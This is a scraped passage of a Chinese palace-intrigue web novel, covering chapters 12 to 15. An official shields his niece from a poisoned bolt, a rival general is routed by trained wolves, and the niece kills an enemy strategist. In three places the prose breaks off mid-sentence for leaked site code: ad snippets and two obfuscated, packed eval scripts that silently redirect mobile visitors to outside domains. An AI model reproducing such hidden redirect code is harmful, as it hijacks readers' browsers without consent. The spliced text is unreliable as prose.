谢灵越随手指了下不远处的花梨木案几:“喏,在那呢。” “料子太差了,穿着磨脚。” 谢慎之知晓她素来娇气,“先将就一下,回去便好了。” 小宫女小跑着取来袜子,轻手轻脚给谢灵越穿上。 少女脚踝纤细,像是一截被人稍稍用力便能折断的玉别样的琉璃易碎。 浅色的血管顺着脚踝而上,在昏黄的烛火下若隐若现,慢慢没入蝶与花的裙摆。 曾经只会扯着他衣袖撒娇的小女孩儿,如今已长成满怀少女心事的女郎。 谢慎之移开视线,凤目轻眯。 ——李鸣岐留不得。 纵然阿越会因此事恨他入骨,他亦不能给阿越留此祸患。 萧重照领人送上饭菜。 谢灵越知晓谢慎之一直在忙,别说吃饭了,只怕忙到现在连口水都没有喝过,她便拉着谢慎之与自己一同吃。 “九叔虽忙,但饭还是要吃的,不能拿自己的身体来置气。” 她学着谢慎之说话的口气与谢慎之说道。 谢慎之忍俊不禁。 手指微曲,指节敲了下谢灵越额头。 “越发没大没小了。” 谢慎之道。 “铮——” 有什么东西破空而来。 紧接着,是萧重照惊恐的声音,“县君小心!” 谢慎之眼皮狠狠一跳,身体已先他一步有了动作—— 他的手指改敲为拽,将谢灵越从寒光之下拽走,而他自己也以极快的速度侧过身,将谢灵越护在自己怀里。 “噗嗤——” 熟悉的剧痛席卷全身。 温热的鲜血喷涌而出。 “九叔!” 他听到谢灵越惊慌失措的声音。 “有刺客!” “保护府君与县君!” 叮叮咚咚的打斗声乱成一团。 萧重照提剑扑到谢慎之身边,“府君,您怎么样了?” 穿胸而过的弩/箭仍在轻颤不已。 那是重弩,能将人钉死在地上的东西。 而弩箭之下,是将衣物染得殷红一片的鲜血。 而被他护在身/下的小姑娘,此时正哆嗦着手去堵他胸口处不断溢出的鲜血。 “九叔,九叔,你别吓我。” 谢灵越的声音已有了哭腔。 谢慎之吃力抬起手,擦拭她脸上的血与泪,“别......哭。” “九叔无碍。” 怎么可能无碍? 破胸而出的弩/箭闪着幽冷的蓝光,那是淬了毒的箭。 萧重照胸口剧烈起伏,“府君,箭上有毒,需立刻给您处理伤口。” 谢慎之眼前一阵阵发黑。 “县君,您扶着点府君。” 萧重照道。 谢灵越哆嗦着手,让谢慎之靠在自己肩头。 萧重照攥着谢慎之背后的弩/箭,抬剑削去弩/箭末端的羽柄。 谢慎之闷哼一声。 但萧重照反应极快,另一只手已攥住弩/箭的六棱箭头这一段,狠狠用力一拽,将弩/箭从谢慎之胸膛拔出。 鲜血如雨滴,落在谢灵越的脸上与身上。 浓稠得甚至让她有些睁不开眼,看不清眼前为她挡箭的男人的脸。 亲卫在外面与刺客缠斗,军医前来上药。 一切都有条不紊。 仿佛这种事情发生了无数次,以至于他们在面对这种事情时竟丝毫不慌,每一个人都各司其职。 只有谢灵越惨白着脸,一声不发地守在谢慎之身边。 她看到军医剥开谢慎之的衣服,里 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 面的身体并不像男人的外表那般养尊处优,那是一具与久经沙场的老兵没什么区别的身体,伤痕累累到让她几乎有些不敢认。 九叔何时受了这么多的伤? 他不是让封余与东海王颇为忌惮的新起之秀吗?他不是被各方势力都在拉拢的朝中新贵吗? 谢灵越抿唇看着谢慎之,忽而发现自己似乎并不了解自己的这位九叔。 他没有她想象中那般顺遂光鲜。 他显赫的出身并不能让他在封余与东海王执政的朝堂脱颖而出,他有如今的地位,是他拿命拼出来的。 那些朝堂上的刀光剑影他从来不让她知晓。 他为她精心打造了一座华美的金屋,以最顶级的权势滋养出了她这朵不谙世事的花儿。 所以她可以骄纵着与太子退婚,可以任性地去喜欢李鸣岐。 甚至与东海王世子乃至封余义子的关系都不错,是虽然跋扈但人人都喜欢的昌平县君。 在人人为生活为家族荣耀左右奔走的时候,她还保留着一颗赤子之心。 以为朝堂政斗哪怕落败也不过是贬官夺爵,如她四叔五叔一样去边陲做官。 但她忘了,是因为有九叔在朝堂,所以四叔五叔不曾被赶尽杀绝。 如果九叔一朝倒了,那么谢氏满门将会大祸临头,她这位长公主独女的昌平县君亦不能避免。 谢灵越脸上的血色褪得一干二净 谢慎之虚弱开口,“用重药,不可让我陷入昏迷。” 军医动作微微一顿,随即低低应道:“是。” 重药用下,谢慎之恢复些许神智。 前世他不知阿越在哪里,他几乎将狼营掘地三尺才找到阿越。 那时的阿越已守着雪信的尸体在溪潭待了两日之久,如果他再晚去一刻钟,迎接他的是阿越的尸体。 而今重活一世,他自然提前去找阿越,让阿越免受担惊受怕。 但也因为他的提前赶到,将阿越提前接出溪潭入住狼营附近的宫苑,竟误打误撞遭了封余的埋伏。 ——前世的封余也曾在狼营埋伏,但那已是三日后的事情了。 那时他与东海王合兵一处,自然不怕封余的兄长封空领兵而来,一个照面,便将封空擒下,并将计就计,让封余自投罗网。 而现在,一切提前发生。 封空随时会到,但东海王仍在路上,以他现在的兵力与状态,极难与封空相抗。 封空三百人,而他不到五十,且现在损伤过半。 二三十人打三百,几乎没有胜算,更别提他此时受伤极重,随时有可能陷入昏迷,无法指挥。 亲卫料理完刺客,进来与谢慎之复命,“刺客六十余人,无一逃脱。” “我们死了七人,重伤三人,轻伤十三人。” 谢慎之微颔首,艰难做出部署,“重照,你......亲自带队,走大路,送阿越去东海王那里。” 谢灵越肩膀微微一颤。 ——她是九叔的累赘。 谢慎之慢慢抬起手,拢了拢谢灵越散乱的长发,“阿越,莫怕。” “九叔料理完封空,便去接你回家。” 谢灵越努力把眼泪憋回去。 脸上没有泪,她才抬头看谢慎之。 她看着他因为失血过多而苍白的脸,看着他原本凌厉的凤目此时有些萎靡,恐惧便顺着她的血液流向五脏六腑,甚至蔓延到四肢,连带着头发丝都是恐惧的。 她在害怕。 她害怕失去九叔。 原来这个世界上最让人难过的不是她不能与李鸣岐在一起。 ——而是九叔会离她而去。 “我......我不怕。” 谢灵越颤声道。 她握着谢慎之的手腕,以脸蹭了蹭谢慎之的掌心。 仿佛她还是对世事一无所知的小姑娘,这一次的分离不过是朋友家做客几日。 “九叔,你要早点来接我。” 谢灵越看着谢慎之昳丽凤目,轻声说道。 她怎会是九叔的累赘呢? 她是与九叔一同长大的阿越,亦可成为九叔的臂膀。 黑暗中,谢灵越眼眸莹亮,如日月初升。 13. 第 13 章 第十三章 摇曳的烛火被调亮,六角琉璃灯的灯罩覆其上。 有了描绘着松鹤延年的琉璃的遮挡,烛光逐渐平复下来,暖橘色的光线盈在案几左右。 而谢慎之的身影,便在烛火之下。 一半明,一半暗,谢灵越看不清他面容,只看到挺直的鼻梁略有些逆光,一团阴影便窝在他眼窝与鼻梁的地方,让那原本便与明朗明媚无关的男人显得越发阴鸷。 这就是他在处理政务的状态? ——的确如世人所言,是一条伺机而动阴狠毒辣的毒蛇,更是一朵危险而昳丽的罂粟花。 但那又如何呢? 他是她九叔。 谢灵越,慢慢收回视线。 萧重照扶谢灵越上马,一副心事重重的模样,“县君,咱们得快点。” “第一波杀手已至,第二波人马必然在路上,如果我们走得慢了,很容易会迎面撞上他们。” “恩,咱们走快点。” 谢灵越轻点头。 战马狂奔出宫苑。 行至大路与小路的交叉口,萧重照却没有按照谢慎之的吩咐走大路,而是直接领着谢灵越走小路,一边走一边谢灵越道:“县君,时间紧迫,我们来不及走大路了。” “我们走小路,小路更快一点。” 谢灵越眼皮轻轻一跳。 走小路当然更快一点。 他们明白这个道理,封空更明白。 谢灵越抬了下眼,“这样会不会在路上遇到封空?” “应该不会。” 萧重照头也不回道:“华林园大修,路经与之前完全不一样,只有极少数人知道小路怎么走。” “府君太谨慎了。” 萧重照道。 在这种紧要关头,速度是比谨慎更重要的东西。 但很快,他意识到自己的判断错得离谱,在东方即将亮起启明星的时候,他竟听到马蹄声从不远处传来,那不是几个人几十人的马蹄,而是几百人。 萧重照立刻勒马停下,命人前去查看。 老天保佑,前面来的人是东海王,否则他们这群人将会死无葬身之地。 “校尉,是封空的人。” 亲卫回来得很快。 萧重照脸色微变。 ——他竟然迎面撞上了封空?! 萧重照不假思索道:“县君,咱们人少,先藏起来,等他们过去之后咱们再走。” 但这一次,一路上极为听他话的谢灵越却一反常态停了下来,抬头问他:“我们能躲过去,九叔呢?他能不能躲得过去?” 府君哪里躲得过? 伤得那么重,根本没办法移动。 以他对府君的了解,府君的计划是先将县君送走,自己行空城计拖延时间。 第一波杀手已被他们料理,封空的人不知底细,府君又素有威名,应该能镇住封空一段时间,拖延到东海王的到来。 萧重照道:“县君,府君有应对之法,您不必太过担心。” “我们现在的当务之急是先躲起来,不要让封空的人发现我们。” “为什么一定要躲起来?” 谢灵越抬眼看萧重照,“九叔既然想行空城计,那咱们配合他便是,何必跟没了头的苍蝇一样乱撞,没得堕了九叔的威风。” 萧重照眼皮轻轻一跳,“您怎么知道府君想行空城计?” 他记得事情发生得太突然,县君还未与夫君说几句话,便被他送了出来,哪有时间去听府君的计划? 话音刚落,顿觉失言。 ——空城计是死里求生,一但县君知晓府君如此弄险,哪里还会跟他走? 萧重照立刻改口,“县君,封空快到了,咱们赶紧躲起来。” “封空不是傻子。” 谢灵越指了指他们在路上留下的马蹄印,“如此明显的痕迹,封空怎会发现不了?” “封空一但发现马蹄印,便能顺着印记找到我们的下落。” 谢灵越道:“而我们落入封空手中,九叔的计划便不攻自破——事先将我送走,便意味着九叔没有十足的把握来面对封空。” 萧重照心头一震,这才意识到自己不听谢慎之的安排有多愚蠢。 “我.......悔不听府君之言!” 萧重照无比痛恨自己。 谢灵越道:“别急,咱们现在还有翻盘的机会。” 她抬头看着在火把的映照中烈烈生威的封字旌旗,对萧重照道:“空城计嘛,九叔教过我的。” “只要自己稳住了,便能唬住比自己强大百倍的敌人。” “?” 都这种情况下了,还想着唬封空呢? 萧重照觉得谢灵越在天方夜谭。 但现在大祸铸成,已无回旋的余地,他只能死马当成活马医,先听听谢灵越的主意。 谢灵越道:“着人去请封余。” “???” 您这是觉得自己死得不够快?! 封空也是这种想法。 他看了又看前来请他的谢灵越的亲卫,不确定地又问一句:“你再说一遍,昌平县君在哪?” “县君受府君之命,前来迎接将军。” 亲卫向封空拱手,态度不卑不亢,“风寒露重,县君苦等将军不至,便歇在了在前方不远的楠竹亭中,此时已备下点心与茶歇,只等将军到来。” “......” 这比谢九郎那厮恭请他弟弟登基称帝还扯淡。 封空狐疑看天边。 启明星已隐入云层,一轮红日从云海之中缓缓跃出。 ——今天的太阳也没打西边出来啊。 封空与旁边的幕僚交换了一个眼神。 ——有诈! 谁不知道谢灵越是谢九郎的心头肉? 别说让她涉险了,她走在路上被蚊子咬了个苞,周围的蚂蚁都得跟着脑袋搬家。 封空斟酌片刻,曲拳轻咳,“咳,九郎着灵越前来请我,我自然是要去的。” “只是我一路纵马而来,不免风尘仆仆,这样吧,你且稍等片刻,我休整一番再跟你过去。” “是。” 亲卫退下。 “将军,谢九狠辣谨慎,从不弄险,更不会让昌平县君只身犯险。” 待亲卫走远了,幕僚立刻对封空道:“此事定然有诈,您万万去不得。” 封空道:“我当然知道去不得。” “但大将军说了,谢九留不得,让我一定带着谢九的人头去见他。如果我不过去,还怎么杀谢九?怎么助大将军成事?” “可派一支斥卫先去打探虚实。” 幕僚轻捋胡须,“若谢九无兵,则将军一战可擒。若谢九有兵.......” “有兵又如何?” 封空问道。 幕僚轻叹一声,“若他有兵,便以利诱之,让其不助东海王。” “待东海王伏诛之后,再来对付谢九。” 此计可行,封空连连点头,“先生睿智。” “有先生辅佐我们兄弟,大将军必能成就大业。” 是夜,一支斥卫飞马出密林,直奔谢慎之所在的宫苑而去。 斥卫自然被萧重照察觉。 萧重照攥着佩剑的掌心紧了又紧。 “别紧张。” 谢灵越反过来安慰萧重照,“虚虚实实,真真假假,他们探明白了又如何?不过更加犹豫罢了。” 谢灵越道:“封空远不及他的弟弟封余,他没有破釜沉舟的勇气。” “但愿如此。” 萧重照长叹一声。 他与府君输不起。 成千上万人的性命乃至天子的安危与大虞的未来都担在他们身上,一但他们输了,便意味着大虞国祚到此而终。 萧重照抬手掐了下眉心,心里无比烦躁。 谢灵越却在这个时候冷静下来。 她拢着谢慎之披在她身上的氅衣,蹙眉看向大路的方向,若无意外,东海王当会从这条路过来。 谢灵越攥着氅衣边缘,心里不断祈祷。 ——东海王,快快过来吧! 事实上东海王的确在路上,但当他的斥卫打探到封空的人马比他先到的时候,这位老谋深算的政坛老狐狸的速度慢了下来。 他当然是希望谢慎之能倒向他的。 可如果谢慎之能与封空两败俱伤,那么对他来讲便是求之不得好结局。 卧榻之间岂容他人安睡? 他想做的是九州之主,是大虞的皇帝,而不是一个虽然赢了封余但处处被谢慎之掣肘的东海王。 然而就在这时,他的幕僚却突然进言:“王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13991670|148360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷,谢九不掌兵,手中只有羽林卫与虎贲卫。” “而大将军封余,却执掌兵权,其兄封空更被拜为车骑将军,统内外禁军。” 话不在多,有用就行。 ——巧妇难为无米之炊,谢慎之手里的那些人,着实难与封余兄弟硬碰硬。 更别提他还要分兵保护天子。 在分兵之后,他能用的,估摸着只剩他府里的那几十人。 东海王立刻提了速度,“本王当然明白这个道理。” 一行人迅速往谢慎之的宫苑进发。 而彼时谢慎之,也被封空派来的斥卫所惊动,而后敏锐地觉察到事情似乎脱离了他的掌控。 ——萧重照没有按照他的吩咐走大路,且在小路上遇到了封空,否则封空不会在这个时候派出斥卫来探他的虚实。 谢慎之凤目轻眯,眼底一片阴鸷。 “杀光斥卫,一个不留。” 谢慎之冷声吩咐。 亲卫应喏而去。 前来探查的斥卫悄无声息倒下。 “取地图来。” 谢慎之道。 心腹迅速取来地图。 谢慎之修长手指在地图上划过,慢慢落在小道之上的楠竹亭。 “县君歇在此处?” 心腹问道。 谢慎之微颔首,“着狼营的卫士过来。” 这是他原本留给封余的后手。 如今用在封空身上,着实有些可惜。 但萧重照坏了他的计划,而阿越亦只身犯险,他只能提前使用这张牌,让阿越尽快脱险。 至于东海王会不会及时赶来,则不在他的思考范围之内。 如果只有他自己,他大可耐心等待东海王的到来,与东海王联手除掉封空,但是阿越在那里,他不敢冒这种险。 ——他不能把阿越的安危交在一个随时会翻脸不认人的东海王身上。 卫士来得很快。 谢慎之手指点在地图上的楠竹亭上,开门见山,“这里之外,不留活口。” 驯养狼群的卫士对视一眼,从彼此眼底看到了震惊。 他们作为夫君最隐秘的暗桩,竟用来对付一个封空? 但很快,眼底的震惊又变成了理所当然。 ——县君在楠竹亭,府君自然底牌尽出。 “喏。” 卫士们应喏而去。 · “嗷呜——” 狼嚎声并未因金乌的升起而停下,反而此起彼伏,越发频繁。 谢灵越秀眉微蹙,看向萧重照,“狼群是不是有点不太对劲?” 萧重照虽是谢慎之心腹,但有些事情并不经他的手,对谢慎之豢养狼群的事情并不知晓,听狼嚎声越来越近,他皱眉拔剑,护在谢灵越身前。 “的确不对劲。” 萧重照一脸警惕,“正常情况下,狼群只会在晚上嚎叫。” 这个时候突然嚎叫,必然是狼群里有了异变。 · 豢养狼群的卫士吹着骨笛。 呜咽的笛声让狼群更加躁动不安。 狼王腾空而起,跃上高台,对着卫士们长啸不已。 骨笛的声音慢慢变得和缓,似是在安抚什么。 狼王的嚎叫也变得温和,呜咽着,像是在附和。 但紧接着,是一声撕破长空的嚎叫,整个狼群跪爬在地,如同蓄势待发的兵甲。 卫士收起骨笛。 “嗷呜——” 山呼海啸的狼嚎自狼营传出。 动物本能的恐惧让战马嘶鸣不已,几乎将封空甩落在地。 “这是怎么了?” 封空用力勒马。 一旁的幕僚没有他这么好的骑术,此时已被摔倒在地,灰头土脸颇为狼狈。 “是狼啸!狼营有异变!” 幕僚从土里抬起头,脸色极为难看。 到底是被封余颇为倚重幕僚,在这个时候仍保持着理智,电石火光间,他已明白狼啸为何而来。 ——这必是谢九留给大将军的底牌,因昌平县君涉险,这才仓促启用,使在车骑将军身上! 幕僚飞快从地上爬出来,跳着去拽封空的衣袖,试图将他从马背上扯下来,“将军,快下马跟我走!” “去楠竹亭!现在只有昌平县君那里是安全的!” 14. 第 14 章 第十四章 封空被幕僚从马背上扯了下来。 一头栽在草地上,比刚才险些被发狂的战马踩到的幕僚还要狼狈。但他此时的他顾不得自己狼狈,满脑子都是弟弟对他的交代。 他的才干远不及弟弟,能坐到车骑将军的位置靠的是总督内外兵马的大将军弟弟。 在这个人均人精的金陵城,弟弟对他的要求并不高,让他万事听幕僚的,别没事找事自己拿主意。 封空来不及问幕僚原因,便从地上爬起来,扶了一把被摔歪的头盔,扯着幕僚撒丫子狂奔。 但这一次幕僚的话似乎也并不精准,因为他们还没跑到谢灵越所在的楠竹亭,便被从密林中冲出来的狼群拦住了去路。 这是被豢养的狼群,本该没什么攻击力,是供权贵们打猎取乐的。 可现在这群本该被养得乖顺的狼群竟像疯了一样,无差别地攻击每一个人。 “先生当心!” 封空提剑砍翻扑向幕僚的狼,拖着幕僚且战且走。 而彼时楠竹亭里的谢灵越几人,此时的情况也不比他们好太多。 豢养狼群的事情没有经萧重照的手,他对狼群的事情一无所知,看到狼群突然来到,他立刻拔剑将谢灵越护在身后。 狼群越来越近,血肉横飞的修罗场在众人眼前缓缓拉开。 封空领着人不断冲杀奔逃,自偏僻小路上拉开一道血色长雾,血雾向他们蔓延开来,动物的嘶吼与人的挣扎离他们越来越近。 绕是萧重照在谢慎之手底下做事多年,乍见这种血腥场也不免为之心惊,额上冷汗如雨。 此等有违天和的布置,到底是谁的手笔?! 但转瞬之间,他想明白了。 ——是府君。 让人不寒而栗的金陵谢九郎,从不是光明正大的君子。 他的谋略变化多端,他的手段让人防不胜防,是虽年轻但让封余东海王颇为忌惮的毒蛇谢九。 萧重照深吸一口气,慢慢把佩剑送还剑鞘。 “县君,此景血腥,您还是闭上眼睛吧。” 萧重照对谢灵越道。 谢灵越没有发出任何声音。 她呆坐在石凳上,眼睛一眨不眨看着人与兽的地狱场,披着谢慎之氅衣的单薄肩头不可自抑地颤抖起来。 原来这就是会被史书一笔带过的兵变。 她想起阿娘去世后九叔不许让她出府门,不许让她吃别人给她的东西。 她一一照做,但高高的朱墙下还是站满了衣甲森森的卫士,而自幼跟在九叔身边的人却越来越少,最后只剩下萧重照。 李鸣岐来府上找她,会与她说外面的事情。 言今天死了哪个王,哪一个公卿又被夷了三族,东市行刑的刀都卷了刃。 “灵越。” 小小的李鸣岐看着她叹气,“有时候我真的害怕,害怕明天就看不到你了。” 她却不以为然,只与李鸣岐分吃自己刚做出来的焦黑小点心。 “怕什么?有我九叔呢。” 她把点心塞到李鸣岐手里,“快尝尝这块点心怎么样。如果好吃,我就送一些给九叔。” “九叔最近太忙了,连饭都没有好好吃呢。” 这是她唯一烦闷的事情。 那时她真的不知,兵变是血流成河,尸堆满地。 更不知帝王与权臣华美的冠冕爬满了孤魂野鬼。 封空终于冲到楠竹亭前。 最后一个亲卫倒下,野狼瞬间冲上来,撕咬他的肩背与胳膊,他忍痛提剑,将幕僚用力往前一推。 幕僚摔在楠竹亭,周围试图扑咬他的野狼如潮水般退去,向他身后的封空扑去。 “将军!” 幕僚吃痛抬头。 封空艰难与狼群周旋,“别管我,快走!” 幕僚爬起来找封空,“将军——” 但他刚站起来,一柄长剑便横在他脖颈。 “张先生,数年不见,您风采不减当年呐。” 萧重照凉凉声音在他身后响起。 幕僚攥了下掌心。 无路可走。 幕僚闭了闭眼,仍不想放弃。 他没有理会萧重照,而是径直转身,看向萧重照身后的谢灵越。 那是一个被谢慎之保护得很好的小姑娘,一双神采飞扬透着点狡黠骄纵,是金陵城最明艳的玫瑰。 但现在,那双蒙上了一层阴霾,少了些熠熠生辉的神气,多了几分悲天悯人的不忍与难以置信的轻颤。 幕僚便悲怆开口,“县君,谢九行如此伤天和之事,难道不怕遭报应吗?” 小姑娘的肩膀微微一颤。 这便是被他的话说动了。 娇养的玫瑰能有多深的心思?更别提只是一个十五六岁的小姑娘。 幕僚心里冷笑,继续说道:“县君,我家将军——” “遭报应?” 但他刚刚开口,便被谢灵越打断话,“为什么遭报应的那个人会是我九叔?” 纤瘦的少女惨白着脸,颤巍巍抬起手,指着不远处的血流成河,一字一顿问幕僚:“你为什么不问一问你自己,究竟是将我九叔逼到了何种地步,才会让他使出如此狠辣的手段?” 幕僚心头一跳,诡变的话尚未来得及说出,便又听少女突然开口:“杀了他!” 少女从后面扑上来,攥着萧重照的佩剑,狠狠向他回来。 意识彻底消失前,他听到的是少女比方才的他更加悲怆的声音—— “我好好的一个九叔,竟被你们逼到如此地步。” “该遭报应的应该是你们!” “嗤——” 血流如注。 温热的鲜血喷了谢灵越满脸,玄色的鹤纹氅衣被鲜血染得殷红一片。 “县君仔细伤了手。” 萧重照吓了一跳,立刻从谢灵越手里夺回佩剑。 谢灵越胸口剧烈起伏。 萧重照送剑还鞘,将人按回石凳上,抽了帕子,与她擦脸。 第一次杀人,谢灵越心跳得厉害,拿着萧重照递过来的帕子,怎么都擦不干净自己脸上的血。 然后她又想起她九叔,想起阿娘死的时候九叔才十五,正是她这个年龄。 那时候封余与东海王斗得厉害,四叔五叔完全不是他们的对手,在朝堂上接连失利,连阿娘交到他们手里的兵权都被封余夺了去。 少年九叔就这样撑起摇摇欲坠的谢氏一族,在封余与东海王的联手绞杀保住了四叔五叔的性命。 否则政斗失败的人怎么可能只是遭了贬斥?从掌军政的大将军去边陲小地安身? 那时候的九叔杀过人吗?是怎样杀的? 是与她一样用剑?还是更为大开大合的长刀? 鲜血溅在自己身上的时候九叔会害怕吗? 会与她一样心如鼓擂、双手颤抖不已吗? 她忽而又想起,九叔从外面回来的第一件事不是去找她,而是回自己院子里,待梳洗一番后,才会披着仍带着湿气的长发去层层卫士保护下的院子里找她。 那时候的九叔,应该是怕自己身上的血吓到她吧。 谢灵越思绪如麻。 谢灵越久久未说话,萧重照叹了口气,从她手里抽走帕子,一点一点擦拭着她身上的血迹。 “县君想杀他,吩咐我一声便好了。” 萧重照道:“何必亲自动手,没得脏了自己的手。” 血污被他擦干净,但血污之下的脸却比刚才白得更厉害,甚至就连殷红的唇此时都微微泛着白。 这是被吓到了。 萧重照将帕子递给亲卫,自己学着谢慎之的模样,伸手揉了揉谢灵越的发。 “灵越,别怕。” 萧重照道:“你和府君都不会有事的。” 小姑娘在他的安抚下似乎慢慢恢复了理智,肩膀不再像刚才那般颤得厉害。 她抬手握着他手腕,视线慢慢移到他眼间,墨色的瞳孔像是水洗过的黑珍珠。 “我九叔......才不会遭报应。” 她小声着而又缓慢地说着话,声音无比笃定。 萧重照眼皮轻轻一跳。 被娇养的玫瑰的根茎上长着荆棘刺。 在别人惊艳于她的鲜艳娇妍时,淬了毒的硬刺便扎在那人掌心,顺着血液的流淌取人性命。 萧重照笑了笑,哄小孩儿似的接下她的话,“恩,我们都不会遭报应。” “该遭报应的,是这群乱臣贼子。” “对,是乱臣贼子......” 谢灵越跟着他的话点头,但又像是想到什么似的,突然拉住他臂甲,“不行,封空还不能死,活着的封空比死了的封空用处大。” 萧重照点点头,“知道,刚才已经让人去救了。” 亲卫将奄奄一息的封空拖进楠竹亭。 骨笛声再度响起。 狼王仰天长啸,狼群渐渐散去。 正午的金乌窝在云层,浅金色的光透过密林铺撒在地面。 殷红的血液仍然在流淌,糅合着金乌之光,像是帝王衣上的华章。 萧重照又一声长叹。 东海王姗姗来迟。 谢灵越心头一跳,与萧重照交换了一个眼神。 ——九叔已无底牌,她不能让九叔受制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13991671|148360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于人。 必须拖住东海王,不能让东海王发现九叔受伤。 阳光下的景象太过于触目惊心,东海王略微思索,便知其中原因。 这是谢九给他或者封余准备的“厚礼”,可惜谢灵越身处险境,这才浪费在了封空身上。 而谢灵越之所以会遇险,多半是此时谢九已受伤,所以才导致她只身犯险。 但谢九到底是谢九,是心比比干多一窍的阴狠酷吏,哪怕自己已奄奄一息,也能尽数拔除威胁她的剑刃。 东海王轻捋胡须,面上难掩笑意。 ——谢九受伤,封空被擒,如此两败俱伤的局面对他极为有利! 但与心花怒放的东海王相比,他的儿子世子李珏显然没有那么好的心理承受能力,在看到密林中的惨状后,这位腿伤刚好的娇弱世子顿时呕吐不止。 “灵越......你没事吧?呕——” 世子吐得昏天暗地。 东海王十分嫌弃。 但回头看一眼满目疮痍,自己胃里亦是一阵翻腾。 “王叔,吃茶。” 谢灵越推来一盏茶。 东海王道了谢,用茶水压下胃里的翻腾。 “你九叔行事越发没章法了。” 东海王道:“不过对付乱臣贼子嘛,能赢就行,不拘手段。” 他其实有些心有余悸。 幸好他必是还没与谢慎之翻脸,幸好这些手段没使在他身上,否则今日尸骨无存的人便是他了。 谢灵越慢慢饮着茶,“王叔,我九叔是好人。” “......” 那我就是十世修来的大善人。 “恩,好人。” 东海王十分违心地应了一句。 世子李珏吐了大半日,几乎将自己的胆汁都吐了出来 待什么都吐不出,又连饮几盏谢灵越的茶,他才感觉自己稍稍好了点。 “灵越,你没事吧?” 世子李珏吐得手软脚软,但不忘问谢灵越身上是否有伤。 谢灵越轻摇头,“我没事。” “只是与你一样,现在怕得厉害。” 谢灵越身上的确无伤,只是脸色有些发白,李珏这才稍稍松了口气,连声安道:“你别怕,我父王带了很多人,肯定能保护你的。” 女儿情长,子不类父。 东海王十分看不上自家儿子只会在女人身上下功夫的行为。 虽看不上,但并未阻止。 如同谢九知晓与他终有一日会刀剑相抵,但却从不制止谢灵越与他儿子交好一样。 臣子谋反是灭族,王族夺位是只杀首恶。 珏儿与谢灵越关系好,是给彼此留一个退路,哪怕有朝一日他与谢九输了,下一代也能留得性命。 “你们人多,我九叔的人也不少呢。” 谢灵越下巴微抬,声音里透着几分小骄纵,“不用你来保护我,我九叔护得住我。” 还在这儿骗他傻儿子呢? 东海王放下茶盏,“灵越,本王知晓九郎厉害,但封余势大,非九郎一人可胜。” 谢灵越眼皮轻轻一跳。 ——这位与封余斗了数十年的藩王从不是省油的灯。 “封空虽然被擒,但封余仍不可小觑,以九郎如今的兵力,极难与他抗衡。” 东海王开门见山,“只有调动羽林卫与虎贲卫背水一战,才有可能为国除贼。” 东海王轻捻胡须,努力让自己看上去温和无害,哄小孩儿似的缓缓开口,“我虽能调动虎贲卫,但羽林卫的指挥权在你九叔那,你得带我去找你九叔,让他调动羽林卫,与我联手除掉封余。” “你在这儿,九郎应当就在不远处。” 东海王道,“这个谢九呀,不可能把你放在他看不到的地方。” 他左顾右盼,目光落在密林深处的宫苑。 深深往宫门大开的宫苑瞧了一眼,视线又慢悠悠收回,重新看向强作镇定的小姑娘。 “唔......九郎在那吗?” 东海王指着宫苑,笑眯眯问谢灵越。 寒意自谢灵越心头升起,瞬间冲到她的四肢,让她的手脚都跟着发冷。 她看着东海王状似宽厚仁和的脸,心里只剩一个念头——不,不行,她绝对不能让东海王去找她九叔。 她不能让东海王发现九叔受伤,不能让东海王知晓九叔已无退路。 ——她更不能让未棋差一着的九叔,因为她而处处受制于人。 金陵虽大,但容不得三个势均力敌的权臣。 如果只能留一个权臣,那么这个权臣,应当是她九叔,而非其他人。 15.第 15 章 第十五章 如果说封余是把狼子野心写在脸上的乱臣贼子,那么东海王便是路人皆知的司马昭,只要找到机会,便会送帝王归西,自己坐上皇帝之位。 她决不能给他这种机会。 更不能让九叔被他压制,空有一腔抱负却无处施展。 谢灵越深吸一口气,强迫自己镇定下来。 年龄阅历乃至权谋心思远在封空之上,她不可能拿对付封空的那一套去糊弄东海王,她必须剑走偏锋,才有可能在险象环生的兵变中侥幸胜出。 老谋深算是一把双刃剑。 能让你谨小微慎躲过别人的算计,也能让你敏感多疑,因为别人的一句话而踌躇不前。 “王叔既然知道,又何必再问我?” 谢灵越轻哼一声,往嘴里送了口茶,“九叔的确在那儿,王叔若寻九叔,只管过去便是。” 东海王掀了下眼皮。 不太对劲。 一个被谢九保护得太好的小姑娘不该如此镇定。 想了想,东海王轻捋胡须,作势起身,“既如此,昌平,你便陪本王一同去寻九郎。” “眼下乱得很,你还是跟在我们身边为好。” “对,灵越,你还是跟我们一起走吧。” 李珏立刻跟着开口,他是真的担心谢灵越,“华林园现在太危险了,我都不敢离我父王太远。” “我知道危险,我也不想离我九叔太远啊,这不是没有办法的事情么?” 谢灵越小声嘟囔了一句。 东海王动作微微一顿。 谢灵越放下茶盏,略整衣袖,站起身来。 “王叔,咱们走吧?” 谢灵越对东海王道。 东海王的食指捏住了胡须。 很不对劲。 如果谢九身受重伤,无力庇护昌平,那么这个养尊处优的小县君不该如此平静,甚至平静到有些隐隐的期待,仿佛比他更想带着他去见谢九。 “王叔,走呀?” 东海王驻足不前,谢灵越开口催促。 